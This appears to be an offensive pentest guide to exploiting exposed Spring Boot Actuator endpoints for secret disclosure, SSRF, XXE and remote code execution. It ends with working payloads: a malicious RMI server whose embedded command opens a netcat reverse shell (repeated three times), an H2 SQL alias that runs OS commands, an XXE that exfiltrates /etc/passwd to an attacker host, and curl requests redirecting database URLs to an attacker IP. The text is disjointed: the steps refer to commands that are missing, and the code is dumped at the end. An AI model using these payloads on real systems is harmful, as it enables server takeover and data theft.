The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.
The following Actuator endpoints could potentially have security implications leading to possible vulnerabilities:
/dump - displays a dump of threads (including a stack trace)
/trace - displays the last several HTTP messages (which could include session identifiers)
/logfile - outputs the contents of the log file
/shutdown - shuts the application down
/mappings - shows all of the MVC controller mappings
/env - provides access to the configuration environment
/actuator/env
/restart - restarts the application
/heapdump - Builds and returns a heap dump from the JVM used by our application
For Spring 1x, they are registered under the root URL, and in 2x they moved to the "/actuator/" base path.
Practice
We may use the spring-boot.txt wordlist from SecList to fuzz actuators URLs
env exposes properties from Spring's ConfigurableEnvironment. Exposition of this endpoint can lead to RCE or sensitive information leaks.
Spring Boot 2.x uses json instead of x-www-form-urlencoded for property change requests via the env endpoint
Information returned by the env and configprops endpoints can be somewhat sensitive so keys matching a certain pattern are sanitized (replaced by *) by default. However, below you can find several ways to retrieve these values
eureka.client.serviceUrl.defaultZone
Exploitingeureka.client.serviceUrl.defaultZone requires the following conditions:
/refresh endpoint is available
An application uses spring-cloud-starter-netflix-eureka-client dependency
Retrieving env properties
You can get env property value in plaintext by first setting the eureka.client.serviceUrl.defaultZone to the following values
Then, refresh the configuration
XStream deserialization RCE
It requires Eureka-Client version < 1.8.7.
You can gain RCE by first setting up a website that responds with a malicious XStream payload using springboot-xstream-rce.py
Then, set the eureka.client.serviceUrl.defaultZone property:
Then, refresh the configuration, the code will be executed.
logging.config
Exploiting logging.config requires /restart to be available.
Logback JDNI RCE
ogging.config can lead to RCE via Logback JNDI, Check reloadByURL - RCE for the full process of hosting LDAP/RMI rogue server. The exploit is similar.
First, open a simple HTTP server on the machine you control
And host the logback configuration at http://attacker-website.com/logback.xml: with the following content:
Then the next step is to create a malicious RMI service:
pom.xml to compile this project:
Run the compiled jar
Set logging.config properties:
Restart the application:
Groovy RCE
First, host the payload.groovy file with the following content:
Set logging.config:
Restart the application:
spring.main.sources
Exploiting spring.main.sources requires/restart to be available.
Groovy RCE
First, host the payload.groovy file with the following content:
Set logging.config:
Restart the application:
spring.datasource.tomcat
validationQuery
spring.datasource.tomcat.validationQuery allows specifying any SQL query, that will be automatically executed against the current database. It could be any statement, including insert, update, or delete.
url
spring.datasource.tomcat.url allows modifying the current JDBC connection string.
The problem here is that when the application establishing the connection to the database is already running, just updating the JDBC string has no effect. But you can try using spring.datasource.tomcat.max-active to increase the number of simultaneous database connections.
Thus, you can change the JDBC connection string, increase the number of connections, and then send many requests to the application to simulate a heavy load. Under load, the application will create a new database connection with an updated malicious JDBC string.
spring.datasource
data
spring.datasource.data can be used to gain RCE if the following coditions are met:
/restart is available
h2database and spring-boot-starter-data-jpa dependencies are used
In order to exploit this endpoint, start a simple HTTP server on the machine you control
And then, host the following payload.sql file
Note that te T5 method in the payload must be renamed (to T6) after the command is executed before it can be recreated and used. Otherwise, the vulnerability will not trigger the next time an application is restarted.
Then, set the spring.datasource.data:
Restart the application:
url
spring.datasource.url is database connection string that is used only for the first connection. You can chain it with JDBC deserialization vulnerability in MySQL to gain RCE. The vulnerability requires the following conditions:
/refresh is available
mysql-connector-java dependency is used
Note that changing spring.datasource.url will temporarily disable all normal database services
To exploit, use the /actuator/env endpoint to fetch the next values:
mysql-connector-java version number (5.x or 8.x)
Common deserialization gadgets, such as commons-collections
spring.datasource.url value to facilitate later crafting of its normal JDBC URL
Set the spring.datasource.url property:
mysql-connector-java version 5.x:
mysql-connector-java version 8.x:
Refresh the configuration:
Finally, try to access an endpoint that will trigger a database query, for example /product/list, or find other ways to query the database and trigger the vulnerability
spring.cloud.bootstrap.location
Exploiting spring.cloud.bootstrap.location requires the following conditions:
/refresh endpoint is available
spring-cloud-starter version < 1.3.0.RELEASE
Retrieving env properties
You can get env property value in plaintext by starting a webserver and setting the spring.cloud.bootstrap.location property as follow:
Refresh the configuration:
Retrive the property value from attacker-website.com logs
SnakeYML RCE
spring.cloud.bootstrap.location allows loading an external config in YAML format. You can gain code execution with the next steps:
Host config.yml at http://attacker-website.com/config.yml with the following content:
Host payload.jar with the code that will be executed, check marshalsec and yaml-payload for how to prepare the payload
Set the spring.cloud.bootstrap.location property:
Refresh the configuration and code will be executed:
spring.datasource.hikari.connection-test-query
spring.datasource.hikari.connection-test-query sets a query that will be executed before granting a connection from a pool. It can lead to RCE if the following conditions are met:
/restart endpoint is available
com.h2database.h2 dependency is used
You can gain code execution by setting the spring.datasource.hikari.connection-test-query property
The T5 method in the payload must be renamed (to T6) after the command is executed before it can be recreated and used. Otherwise, the vulnerability will not trigger the next time an application is restarted.
Restart the application:
Jolokia
If the Jolokia Library is in the target application classpath, it is automatically exposed by Spring Boot under the /jolokia actuator endpoint. Jolokia allows HTTP access to all registered MBeans and is designed to perform the same operations you can perform with JMX. It is possible to list all available MBeans actions using the URL:
Extract env properties
You can invoke relevant MBeans to retrive env property values in plaintext. Below you can find MBeans that can be used for this purpose. However, the situation may differ and the Mbeans listed may not be available. However, you can search methods that can be called by keywords like getProperty.
org.springframework.boot
You can get env property value in plaintext using the following request:
org.springframework.cloud.context.environment
You can get env property value in plaintext using the following request:
reloadByURL - XXE
ThereloadByURL action, provided by the Logback library, allows us to reload the logging XML config file from an external URL
If the action reloadByURL exists, the logging configuration can be reload from an external URL. You can exploit this feature to trigger an Out-Of-Band XXE.
Host the logback.xml configuration and file.dtd at http://attacker-website.com/:
the logging configuration can be reload from our server by requesting following URL:
reloadByURL - RCE
The reloadByURL action, provided by the Logback library, allows us to reload the logging XML config file from an external URL
In the XML file, we can include a tag like <insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" /> and the name attribute will be passed to the DirContext.lookup() method. If we can supply an arbitrary name into the .lookup() function, we don't even need XXE or HeapDump because it gives us a full Remote Code Execution.
JDK > 1.8.0_191
Open a simple HTTP server on the machine you control
And host the logback configuration at http://attacker-website.com/logback.xml:
Then the next step is to create a malicious RMI service:
pom.xml to compile this project:
Run the compiled jar
The logging configuration can be reload from our server by requesting following URL:
JDK < 1.8.0_191
Open a simple HTTP server on the machine you control
and host the logback configuration at http://attacker-website.com/logback.xml:
Prepare a Java code for execution, you can reuse the JNDIObject.java. Compile it such a way that it is compatible with earlier JDK versions:
Then copy the generated JNDIObject.classfile to the root directory of the http://attacker-website.com website.
Set up LDAP server, use marshalsec to set up the server:
The logging configuration can be reload from our server by requesting following URL:
If an application successfully requests logback.xml and marshalsec receives the target request, but an application does not request JNDIObject.class, it is likely that an application's JDK version is too high, causing JNDI usage to fail.
createJNDIRealm - RCE
One of the MBeans of Tomcat (embedded into Spring Boot) is createJNDIRealm. createJNDIRealm allows creating JNDIRealm that is vulnerable to JNDI injection. You can expoit with the next steps:
Get the /jolokia/list or /actuator/jolokia/list to check if type=MBeanFactoryand and createJNDIRealm are in place
JDK > 1.8.0_191
Open a simple HTTP server on the machine you control
Then the next step is to create a malicious RMI service:
pom.xml to compile this project:
Run the compiled jar
Modify the target address, RMI address, port and other information in the springboot-realm-jndi-rce.py script according to the actual situation , and then run it on the server you control.
JDK < 1.8.0_191
Open a simple HTTP server on the machine you control
Prepare a Java code for execution, you can reuse the JNDIObject.java. Compile it such a way that it is compatible with earlier JDK versions:
Then copy the generated JNDIObject.classfile to the root directory of the http://attacker-website.com website.
Set up RMI server, use marshalsec to set up the server:
The we wan send the payload by editing the target address, RMI address, port and other information in the springboot-realm-jndi-rce.py script according to the actual situation , and then run it on the server you control.
gateway
The gateway actuator endpoint lets you monitor and interact with a Spring Cloud Gateway application. In other words, you can define routes for the application and use gateway actuator to trigger requests according to these routes.
Routes can provide access to hidden or internal endpoints, which can be misconfigured or vulnerable. You can fetch all available routes via GET-request to /actuator/gateway/routes.
SSRF
If adding routes do not require administrative permissions. The next request will create a route to localhost:
Send refresh request to apply new route:
SpEL Injection
Applications using Spring Cloud Gateway in the version prior to 3.1.0 and 3.0.6, are vulnerable to CVE-2022-22947 that leads to a SpEL injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Displays HTTP trace information (by default, the last 100 HTTP request-response exchanges). It may disclose details about requests of internal applications as well as user cookies and JWT tokens.
trace requires an HttpTraceRepository bean.
h2-console
RCE
To exploit, it requires the following conditions:
com.h2database.h2 dependency is used
h2 console is enabled in Spring configuration spring.h2.console.enabled=true
You can gain RCE via JDNI in h2 database console:
Access the h2 console /h2-console. An application will refirect to /h2-console/login.jsp?jsessionid=xxxxxx. Catch jsessionid value.
Prepare a Java code for execution, you can reuse the JNDIObject.java. Compile in such a way that it is compatible with earlier JDK versions:
Host compiled JNDIObject.class at http://attacker-website.com/ and Set up a LDAP service with marshalsec:
Trigger JNDI injection:
mappings
mappings displays a collated list of all @RequestMapping paths.
sessions
sessions allows retrieval and deletion of user sessions from a Spring Session-backed session store. Requires a Servlet-based web application using Spring Session.
shutdown
shutdown lets an application be gracefully shutdown. Disabled by default.
logfile returns the contents of the logfile (if logging.file.name or logging.file.path properties have been set). Supports the use of the HTTP Range header to retrieve part of the log file's content.
logview
spring-boot-actuator-logview version before 0.2.13 is vulnerable to path traversal that allows you to retreive arbitrary files.
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("jndi", referenceWrapper);
}
}
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.tomcat.url","value":"jdbc:mysql://ATTACKING-IP:3001/testx1"}' http://<TARGET>/actuator/env
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.tomcat.max-active","value":"5"}' http://<TARGET>/actuator/env
python3 -m http.server 80
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
# file logback.xml from the server attacker-website
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker-website/file.dtd">%remote;%int;]>
<a>&trick;</a>
# file file.dtd from the server attacker-website
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
# file logback.xml from the server attacker-website
<configuration>
<insertFromJNDI env-entry-name="rmi://attacker-website.com:1097/jndi" as="appName" />
</configuration>
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("jndi", referenceWrapper);
}
}
# file logback.xml from the server attacker-website
<configuration>
<insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/JNDIObject" as="appName" />
</configuration>
# Compile it
javac -source 1.5 -target 1.5 JNDIObject.java
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("jndi", referenceWrapper);
}
}